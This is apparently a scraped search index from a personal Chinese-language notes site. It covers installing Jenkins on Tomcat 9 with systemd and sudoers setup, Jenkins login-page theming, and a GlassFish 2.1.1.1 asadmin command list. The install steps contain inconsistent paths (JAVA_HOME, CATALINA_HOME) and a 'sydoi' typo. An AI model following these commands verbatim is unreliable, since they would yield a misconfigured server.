-Djava.security.egd=file:/dev/./urandom -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/tomcat/dump\u0026#39; ExecStart=/usr/local/share/apache-tomcat/apache-tomcat-9-latest/bin/startup.sh ExecStop=/bin/kill -15 \\$MAINPID User=jenkins Group=jenkins UMask=0027 RestartSec=10 Restart=always [Install] WantedBy=multi-user.target EOF 部署 jenkins war # 1 2 3 wget https://get.jenkins.io/war-stable/2.462.1/jenkins.war sudo -u tomcat mkdir -p /usr/local/etc/catalina/jenkins/webapps/jenkins sudo unzip -q jenkins.war -d /usr/local/etc/catalina/jenkins/webapps/jenkins 啟動 1 2 3 sudo systemctl daemon-reload sudo systemctl restart jenkins \u0026amp;\u0026amp; sudo tail -f /var/log/tomcat/jenkins/catalina.out sudo systemctl enable jenkins 防火牆設定 1 2 sudo firewall-cmd --permanent --add-port=8080/tcp sudo firewall-cmd --reload 升級 # 1 2 3 4 sudo systemctl stop jenkins sydoi rm -rf /usr/local/etc/catalina/jenkins/webapps/jenkins sudo -u tomcat mkdir -p /usr/local/etc/catalina/jenkins/webapps/jenkins sudo unzip -q jenkins.war -d /usr/local/etc/catalina/jenkins/webapps/jenkins ","date":"May 5, 2024","externalUrl":null,"permalink":"/worknot/jenkins-install/","section":"Worknots","summary":"環境 # OS: Debian 12, Oracle Linux 9 jenkins version: 2.462.1 jre: adoptium jre 17 安裝 # 安裝必要package # Debian 1 sudo apt install -y fontconfig tar zip git wget Oracle Linux 9 1 sudo dnf install -y fontconfig tar zip git wget 部署 tomcat # 安裝 jre # 從 adoptium 官方網站下載 java 17 安裝 jre 1 2 3 4 sudo mkdir -p /usr/local/lib/jvm sudo tar -zxf ~/OpenJDK17U-jre_x64_linux_hotspot_17.0.12_7.tar.gz -C /usr/local/lib/jvm cd /usr/local/lib/jvm/ sudo ln -s jdk-17.0.12+7-jre jre-17-latest 安裝 tomcat # 設定使用者 1 sudo useradd --system -r tomcat -s /sbin/nologin 1 2 3 4 5 sudo useradd --system -r jenkins -s /bin/bash passwd jenkins sudo usermod -a -G tomcat jenkins visudo 1 2 3 4 tee /etc/sudoers.d/tomcat \u003c\u003cEOF Cmnd_Alias TOMCAT_SERVICE = /bin/systemctl stop tomcat-*, /bin/systemctl start tomcat-*, /bin/systemctl status tomcat-*, /bin/systemctl restart tomcat-* jenkins ALL=(ALL) NOPASSWD: TOMCAT_SERVICE EOF 設定目錄 1 2 3 4 5 6 7 sudo mkdir -p /var/tomcat/dump/jenkins \\ /var/log/tomcat/jenkins \\ /opt/apache-tomcat/ \\ /usr/local/etc/catalina/jenkins/{webapps,temp,work} \\ /usr/local/jenkins sudo chown -R tomcat: /var/log/tomcat sudo chown -R tomcat: /usr/local/share/apache-tomcat 下載 tomcat 並安裝 1 2 3 4 5 6 7 8 9 10 11 12 13 14 wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.93/bin/apache-tomcat-9.0.93.tar.gz sudo tar -zxf ~/apache-tomcat-9.0.93.tar.gz -C /usr/local/share/apache-tomcat cd /usr/local/share/apache-tomcat sudo ln -s apache-tomcat-9.0.93 apache-tomcat-9-latest sudo rm -rf /usr/local/share/apache-tomcat/apache-tomcat-9-latest/webapps/* sudo rm -rf /usr/local/share/apache-tomcat/apache-tomcat-9-latest/logs/* sudo mkdir /usr/local/share/apache-tomcat/apache-tomcat-9-latest/logs sudo chown -R tomcat: /usr/local/share/apache-tomcat sudo chown -R root: /usr/local/share/apache-tomcat/*/logs sudo chown -R tomcat: /usr/local/etc/catalina sudo chown -R tomcat: /var/tomcat/dump sudo chown -R tomcat: /home/tomcat 設定 tomcat 參數 1 2 sudo ln -s /var/log/tomcat/jenkins /usr/local/etc/catalina/jenkins/logs sudo -u tomcat cp -r /opt/apache-tomcat/apache-tomcat-9-latest/conf /usr/local/etc/catalina/jenkins/conf 1 2 3 4 5 6 7 8 9 tee /usr/local/etc/catalina/jenkins/conf/context.xml\u003c\u003cEOF \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cContext\u003e \u003cWatchedResource\u003eWEB-INF/web.xml\u003c/WatchedResource\u003e \u003cWatchedResource\u003eWEB-INF/tomcat-web.xml\u003c/WatchedResource\u003e \u003cWatchedResource\u003e\\${catalina.base}/conf/web.xml\u003c/WatchedResource\u003e \u003cResources cacheMaxSize=\"51200\" cachingAllowed=\"true\"/\u003e \u003c/Context\u003e EOF jenkins/conf/server.xml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 sudo -u tomcat tee /usr/local/etc/catalina/jenkins/conf/server.xml\u003c\u003cEOF \u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e \u003cServer port=\"-1\" shutdown=\"SHUTDOWN\"\u003e \u003cListener className=\"org.apache.catalina.startup.VersionLoggerListener\" /\u003e \u003cListener className=\"org.apache.catalina.core.AprLifecycleListener\" SSLEngine=\"on\" /\u003e \u003cListener className=\"org.apache.catalina.core.JreMemoryLeakPreventionListener\" /\u003e \u003cListener className=\"org.apache.catalina.mbeans.GlobalResourcesLifecycleListener\" /\u003e \u003cListener className=\"org.apache.catalina.core.ThreadLocalLeakPreventionListener\" /\u003e \u003cGlobalNamingResources\u003e \u003cResource name=\"UserDatabase\" auth=\"Container\" type=\"org.apache.catalina.UserDatabase\" description=\"User database that can be updated and saved\" factory=\"org.apache.catalina.users.MemoryUserDatabaseFactory\" pathname=\"conf/tomcat-users.xml\" cachingAllowed=\"false\" /\u003e \u003c/GlobalNamingResources\u003e \u003cService name=\"Catalina\"\u003e \u003cConnector port=\"8080\" protocol=\"org.apache.coyote.http11.Http11NioProtocol\" connectionTimeout=\"20000\" redirectPort=\"8443\" maxParameterCount=\"1000\" disableUploadTimeout= \"true\" server=\"jenkins\" URIEncoding= \"UTF-8\" /\u003e \u003cEngine name=\"Catalina\" defaultHost=\"localhost\"\u003e \u003cRealm className=\"org.apache.catalina.realm.LockOutRealm\"\u003e \u003cRealm className=\"org.apache.catalina.realm.UserDatabaseRealm\" resourceName=\"UserDatabase\"/\u003e \u003c/Realm\u003e \u003cHost name=\"localhost\" appBase=\"webapps\" unpackWARs=\"false\" autoDeploy=\"false\" reloadable=\"false\" \u003e \u003cValve className=\"org.apache.catalina.valves.RemoteIpValve\" internalProxies=\".*\" remoteIpHeader=\"x-forwarded-for\" proxiesHeader=\"x-forwarded-by\" protocolHeader=\"x-forwarded-proto\" httpsServerPort=\"443\" /\u003e \u003cValve className=\"org.apache.catalina.valves.ErrorReportValve\" showReport=\"false\" showServerInfo=\"false\" /\u003e \u003cValve className=\"org.apache.catalina.valves.AccessLogValve\" directory=\"logs\" prefix=\"localhost_access_log\" suffix=\".txt\" pattern=\"%h %l %u %t \u0026quot;%r\u0026quot; %s %b\" /\u003e \u003c/Host\u003e \u003c/Engine\u003e \u003c/Service\u003e \u003c/Server\u003e EOF 設定 daemon /etc/systemd/system/jenkins.service 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 sudo tee /etc/systemd/system/jenkins.service\u003c\u003cEOF [Unit] Description=Apache Tomcat Web Application Container After=syslog.target network.target [Service] Type=forking Environment=JAVA_HOME=/usr/local/lib/jvm/jdk17-latest Environment=CATALINA_PID=/run/jenkins.pid Environment=CATALINA_HOME=/opt/apache-tomcat/apache-tomcat-9-latest Environment=CATALINA_BASE=/usr/local/etc/catalina/jenkins Environment=\"JENKINS_PREFIX=/jenkins\" Environment=\"JENKINS_HOME=/usr/local/jenkins\" #CATALINA_OPTS Environment='CATALINA_OPTS=-server -Xshare:off -Xms2g -Xmx2g -Djava.net.preferIPv4Stack=true -XX:+EliminateLocks -XX:+UseBiasedLocking -XX:MaxJavaStackTraceDepth=100 -XX:+UseG1GC -XX:MaxGCPauseMillis=95' #JAVA_OPTS Environment='JAVA_OPTS=-Duser.language=zh -Duser.region=TW -Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/tomcat/dump' ExecStart=/usr/local/share/apache-tomcat/apache-tomcat-9-latest/bin/startup.sh ExecStop=/bin/kill -15 \\$MAINPID User=jenkins Group=jenkins UMask=0027 RestartSec=10 Restart=always [Install] WantedBy=multi-user.target EOF 部署 jenkins war # 1 2 3 wget https://get.jenkins.io/war-stable/2.462.1/jenkins.war sudo -u tomcat mkdir -p /usr/local/etc/catalina/jenkins/webapps/jenkins sudo unzip -q jenkins.war -d /usr/local/etc/catalina/jenkins/webapps/jenkins 啟動 1 2 3 sudo systemctl daemon-reload sudo systemctl restart jenkins \u0026\u0026 sudo tail -f /var/log/tomcat/jenkins/catalina.out sudo systemctl enable jenkins 防火牆設定 1 2 sudo firewall-cmd --permanent --add-port=8080/tcp sudo firewall-cmd --reload 升級 # 1 2 3 4 sudo systemctl stop jenkins sydoi rm -rf /usr/local/etc/catalina/jenkins/webapps/jenkins sudo -u tomcat mkdir -p /usr/local/etc/catalina/jenkins/webapps/jenkins sudo unzip -q jenkins.war -d /usr/local/etc/catalina/jenkins/webapps/jenkins ","title":"jenkins 安裝","type":"worknot"},{"content":"","date":"May 5, 2024","externalUrl":null,"permalink":"/tags/%E9%83%A8%E7%BD%B2%E6%9C%8D%E5%8B%99/","section":"Tags","summary":"","title":"部署服務","type":"tags"},{"content":"","date":"May 5, 2024","externalUrl":null,"permalink":"/categories/jenkins/","section":"Categories","summary":"","title":"Jenkins","type":"categories"},{"content":" 環境 # jenkins version: 2.440.3 Login Theme # 客製化登入頁面\n安裝 Plugin # Login Theme: https://plugins.jenkins.io/login-theme/ 設定 Plugin # 設定位置: manage/appearance/Appearance\nLogin Page Theme # header 可以設定登入的歡迎語\n1 \u0026lt;h3\u0026gt;Welcome to PolloChang\u0026#39;s Jenkins!\u0026lt;/h3\u0026gt; Branding 設定 logo\n1 https://pollochang.work/images/logo.jpg Custom CSS 1 2 3 4 5 6 7 8 9 10 11 12 position: absolute; inset: 0; z-index: 1; background: linear-gradient( 135deg, rgb(69, 123, 157) 10%, rgb(188, 187, 206) 30%, rgb(235, 176, 163) 50%, rgb(244, 213, 177) 70%, rgb(139, 185, 198) 90%, rgb(44, 113, 149) 110% ); 設定過程中記得不要登出檢查，要開無痕檢查，不然設定錯誤會無法登入。\nCustomizable Header # 客製化 Header\n安裝 Plugin # Customizable Header: https://plugins.jenkins.io/customizable-header/ ","date":"May 5, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240505-1/","section":"Worknots","summary":"環境 # jenkins version: 2.440.3 Login Theme # 客製化登入頁面\n","title":"Jenkins 客製化UI","type":"worknot"},{"content":"","date":"April 30, 2024","externalUrl":null,"permalink":"/tags/glassfish/","section":"Tags","summary":"","title":"Glassfish","type":"tags"},{"content":"GlassFish 2.1.1.1 CLI 說明\n最近在處理 GlassFish 2.1.1.1 的相關問題，發現裡面的說明有些難看，於是我稍微把裡面的說明文件整理了一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 asadmin\u0026gt; help NAME help - displays the asadmin utility commands SYNOPSIS help [command_name] command_name [--help | -?] DESCRIPTION The help command displays a list of all the asadmin utility commands. Specify the command to display the usage informa-tion for that command. To display the man page of each com-mand, use the syntax: asadmin command_name --help | -? or asadmin help command_name The following is a list of all the asadmin utility commands: add-resources registers the resource in the specified XML file apply-http-lb-changes applies load balancer configuration changes to the load balancer backup-domain performs a backup on the domain change-admin-password changes the administrator password change-master-password changes the master password clear-ha-store deletes tables in the HA database configure-ha-cluster configures an existing cluster to be High Availability configure-ha-persistence enables configuration of parameters related to session persistence configure-lb-weight sets load balancing weights for clustered instances configure-webservice-management sets the monitoring or maxhistory or attributes of a deployed webservice copy-config copies an existing configuration to create a new confi-guration create-admin-object adds the administered object with the specified JNDI name create-application-ref creates a reference to an application create-audit-module creates an audit module for the optional plugin module create-auth-realm adds the named authorized realm create-cluster creates a cluster create-connector-connection-pool adds a connection pool with the specified connection pool name create-connector-resource registers the resource with the specified JNDI name create-connector-security-map creates or modifies a security map for the named connec- tor connection pool create-converged-lb creates a converged load balancer. Note - This command is available if you have installed Sun GlassFish Communications Server. create-converged-lb-config creates a converged load balancer configuration. Note - This command is available if you have installed Sun GlassFish Communications Server. create-converged-lb-ref creates a converged load balancer reference. Note - This command is available if you have installed Sun GlassFish Communications Server. create-custom-resource registers the custom resource create-domain creates a domain with the specified name create-file-user creates a new file user create-ha-store creates tables in HA database that are used by HA clus-ter create-http-health-checker creates a health-checker for a specified load balancer configuration create-http-lb creates a load balancer create-http-lb-config creates a configuration for the load balancer create-http-lb-ref add an existing cluster or server instance to an exist-ing load balancer configuration create-http-listener adds a new HTTP listener socket create-iiop-listener adds the IIOP listener create-instance creates an instance with the given name create-javamail-resource registers the Javamail resource create-jdbc-connection-pool registers the JDBC connection pool create-jdbc-resource registers the JDBC resource create-jms-host creates a JMS host create-jms-resource registers the JMS resource create-jmsdest adds the named destination create-jndi-resource registers the JNDI resource create-jvm-options creates the JVM options from the Java configuration or profiler elements create-lifecycle-module adds a lifecycle module create-management-rule creates a new management rule create-mbean creates and registers a custom MBean create-message-security-provider enables administrators to create the message-security-config and provider-config sub-elements for the security service in domain.xml create-node-agent-config adds a new unbound node agent to a domain create-node-agent creates a node agent and its associated directory struc-ture create-password-alias creates a password alias create-persistence-resource registers the persistence resource create-profiler creates the profiler element create-resource-adapter-config creates the resource adapter Java bean create-resource-ref creates a reference to a resource create-service configures the starting of a DAS or node agent on an unattended boot create-sip-listener creates the SIP listener. Note - This command is available if you have installed Sun GlassFish Communications Server. create-ssl creates the SSL element in the HTTP listener or IIOP listener create-system-properties adds or updates one or more system properties of the domain, configuration, cluster, or server instance create-threadpool creates the thread pool create-transformation-rule creates transformation rule for a deployed web service create-trust-config creates a trust configuration. create-trusted-entity creates a trusted entity. create-virtual-server adds the named virtual server delete-admin-object removes the administered object with the specified JNDI name delete-application-ref removes a reference to an application delete-audit-module deletes the audit-module for the optional plugin module delete-auth-realm removes the named authorized realm delete-converged-lb deletes the specified converged load balancer delete-converged-lb-config deletes the specified converged load balancer configura-tion. delete-converged-lb-ref deletes the specified converged load balancer reference. delete-cluster deletes a cluster delete-config deletes an existing configuration delete-connector-connection-pool removes the specified connection pool delete-connector-resource removes the named resource connector delete-connector-security-map deletes the named security map delete-custom-resource removes the custom resource delete-domain deletes the given domain delete-file-user removes the named file user delete-http-health-checker deletes a health-checker for a specified load balancer configuration delete-http-lb deletes a load balancer delete-http-lb-config deletes a load balancer configuration delete-http-lb-ref deletes the cluster or server instance from a load balancer configuration delete-http-listener removes the HTTP listener delete-iiop-listener removes the IIOP listener delete-instance deletes the instance that is not running delete-javamail-resource removes the Javamail resource delete-jdbc-connection-pool removes the JDBC connection pool delete-jdbc-resource removes the JDBC resource delete-jms-host removes a JMS host delete-jms-resource removes the JMS resource delete-jmsdest destroys the named destination delete-jndi-resource removes the JNDI resource delete-jvm-options deletes the JVM options from the Java configuration or profiler elements delete-lifecycle-module removes the lifecycle module delete-management-rule deletes a specified management rule delete-mbean deletes a custom MBean delete-message-security-provider enables administrators to delete a provider-config sub-element for the given message layer (message-security-config element of domain.xml) delete-node-agent-config removes a node agent from a domain delete-node-agent deletes the node agent and its associated directory structure delete-password-alias deletes a password alias delete-persistence-resource removes the persistence resource delete-profiler deletes the profiler element delete-resource-adapter-config deletes the resource adapter Java bean delete-resource-ref removes a reference to a resource delete-sip-listener deletes the specified SIP listener. delete-ssl deletes the ssl element from the HTTP listener or IIOP listener delete-system-property removes one or more system properties of the domain, configuration, cluster, or server instance delete-threadpool deletes the thread pool delete-transformation-rule deletes the transformation rule of a given web service delete-trust-config deletes the trust configuration. Note - This command is available if you have installed Sun GlassFish Communications Server. delete-trusted-entity deletes the trusted entity Note - This command is available if you have installed Sun GlassFish Communications Server. delete-virtual-server deletes the virtual server with the named virtual server ID deploy-jbi-service-assembly deploys a service assembly into the JBI environment deploy deploys the specified component deploydir deploys the component that is in the specified direc-tory, located in the domain disable-http-lb-server disables a sever or cluster managed by a load balancer disable-converged-lb-server disables a sever or cluster managed by a converged load balancer Note - This command is available if you have installed Sun GlassFish Communications Server. disable-http-lb-application disables an application managed by a load balancer disable stops the specified, deployed component display-error-distribution displays distribution of errors from instance server.log at module level display-error-statistics displays a summary list of severities and warnings display-log-records displays all the error messages for a given module at a given timestamp enable-converged-lb-server enables a previously disabled sever or cluster managed by a converged load balancer Note - This command is available if you have installed Sun GlassFish Communications Server. enable-http-lb-application enables a previously-disabled application managed by a load balancer enable-http-lb-server enables a previously disabled sever or cluster managed by a load balancer enable runs the specified, deployed component export-http-lb-config exports the load balancer configuration to a file that can be used by the load balancer export marks a variable name for automatic export to the environment of subsequent commands in multimode flush-jmsdest purges the messages in a JMS destination freeze-transaction-service immobilizes the named transaction service generate-diagnostic-report generates reports that can help diagnose malfunctioning generate-jvm-report shows the threads, classes and memory for a given target instance get-client-stubs gets the stubs of the client get gets the values of the monitorable or configurable attributes get-health provides information on the cluster health help displays a list of all the commands available in the command-line interface install-jbi-component installs a service engine or binding component into the JBI environment install-jbi-shared-library installs a shared library into the JBI environment jms-ping checks to see if the JMS provider is running list-admin-objects lists all the administered objects list-application-refs lists all application references in a cluster or unclustered server instance list-audit-modules lists the audit modules list-auth-realms lists the authorized realms list-backups lists all backups and restores list-clusters lists the existing clusters list-components lists deployed components list-configs lists all existing configurations list-connector-connection-pools gets all the connection pools list-connector-resources gets all the connector resources list-connector-security-maps lists the security maps for the connector connection pool list-converged-lbs lists all the converged load balancers. Note - This command is available if you have installed Sun GlassFish Communications Server. list-converged-lb-configs lists all the converged load balancer configurations. Note - This command is available if you have installed Sun GlassFish Communications Server. list-custom-resources gets all the custom resources list-domains lists the domains in the given domains directory list-file-groups lists the file groups list-file-users lists the file users list-http-lb-configs lists load balancer configurations list-http-lbs lists load balancers list-http-listeners gets the HTTP listeners list-iiop-listeners gets the IIOP listeners list-instances lists all the instances in the server list-javamail-resources gets all the Javamail resources list-jdbc-connection-pools registers the JDBC connection pool list-jdbc-resources gets all the JDBC resources list-jbi-binding-components lists the binding components installed on the specified target list-jbi-service-assemblies lists the service assemblies installed into the JBI environment list-jbi-service-engines lists the service engines installed on the specified target list-jbi-shared-libraries lists the JBI shared libraries that are installed into the JBI environment list-jms-hosts lists the existing JMS hosts list-jms-resources gets all the JMS resources list-jmsdest gets all the named destinations list-jndi-entries gets all the named destinations, browses and queries the JNDI tree list-jndi-resources gets all the JNDI resources list-lifecycle-modules gets the lifecycle modules list-management-rules lists the management rules created using the create-management-rule command list-mbeans lists the custom mbeans for a given target server instance list-message-security-providers enables administrators to list all security message pro-viders (provider-config sub-elements) for the given mes-sage layer (message-security-config element of domain.xml) list-node-agents lists the node agents along with their status list-password-aliases lists all password aliases list-persistence-resources gets all the persistence resources list-registry-locations returns list of configured web service registry access points list-resource-adapter-configs lists the resource adapters configured in an instance list-resource-refs lists the existing resource references list-sub-components lists EJBs or Servlets in a deployed module or in a module of a deployed application list-system-properties lists the system properties of the domain, configuration, cluster, or server instance list-threadpools lists the thread pools list-timers lists all of the timers owned by server instance(s) list-transformation-rules lists all the transformation rules of a given webservice list-trust-configs lists all identity assertion trust configurations. list-virtual-servers gets the virtual servers list lists the configurable elements and provides the fully qualified dotted names of the management components that have read-only or modifiable attributes login lets you log in to a domain migrate-timers moves a timer when a server instance stops monitor displays monitoring data for commonly-used components multimode allows you to execute multiple commands while returning environment settings and remaining in the asadmin util-ity ping-connection-pool tests if a connection pool is usable publish-to-registry publishes all the web service artifacts to registries recover-transactions manually recovers pending transactions remove-ha-cluster returns an HA cluster to non-HA status restore-domain restores files from backup rollback-transaction rolls back the named transaction set sets the values of attributes. Set command can be used to modify default properties of a resource. set-dcr-file uploads the Data Centric Rule (DCR) file from the Domain Administration Server (DAS). Note - This command is available if you have installed Sun GlassFish Communications Server. show-component-status displays the status of the deployed component show-jbi-binding-component shows detailed information about the specified binding component show-jbi-service-assembly shows detailed information about a specified service assembly show-jbi-service-engine shows detailed information about the specified service engine show-jbi-shared-library shows detailed information about a specified shared library shut-down-jbi-component shuts down a service engine or a binding component on the specified target shut-down-jbi-service-assembly shuts down a JBI service assembly on the specified tar-get start-appserv starts the domains in the specified domains directory start-callflow-monitoring provides the complete callflow/path of a request start-cluster starts a cluster start-database starts the bundled Java DB database start-domain starts the given domain start-instance starts a server instance start-jbi-component starts a service engine or a binding component on the specified target start-jbi-service-assembly starts a service assembly on the specified target start-node-agent starts a node agent stop-appserv stops the domains in the specified domains directory stop-callflow-monitoring disables collection of callflow information of a request stop-cluster stops a cluster stop-database stops the bundled Java DB database stop-domain stops the given domain stop-instance stops a server instance stop-jbi-component stops a service engine or a binding component on the specified target stop-jbi-service-assembly stops a service assembly on the specified target stop-node-agent stops a node agent undeploy-jbi-service-assembly undeploys a service assembly on the specified target undeploy removes a component in the domain unfreeze-transaction-service mobilizes the named transaction service uninstall-jbi-component uninstalls a service engine or binding component on the specified target uninstall-jbi-shared-library uninstalls a shared library on the specified target unpublish-from-registry unpublishes the web service artifacts from the regis-tries unset removes one or more variables from the multimode environment unset removes one or more variables from the multimode environment unset-dcr-file removes the Data Centric Rule (DCR) file from the Domain Administration Server (DAS). Note - This command is available if you have installed Sun GlassFish Communications Server. update-file-user updates a current file user as specified update-password-alias updates a password alias upgrade-jbi-component upgrades a service engine or binding component verify-domain-xml verifies the content of the domain.xml version displays the version information The following commands are deprecated: o display-license o install-license o restart-instance o shutdown o create-acl o delete-acl o list-acls o start-appserv o stop-appserv EXAMPLES Example 1 Using help asadmin\u0026gt; help asadmin\u0026gt; create-domain --help Where: create-domain is the command you wish to view the usage for. SEE ALSO asadmin(1M) ","date":"April 30, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240430-1/","section":"Worknots","summary":"GlassFish 2.1.1.1 CLI 說明\n最近在處理 GlassFish 2.1.1.1 的相關問題，發現裡面的說明有些難看，於是我稍微把裡面的說明文件整理了一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 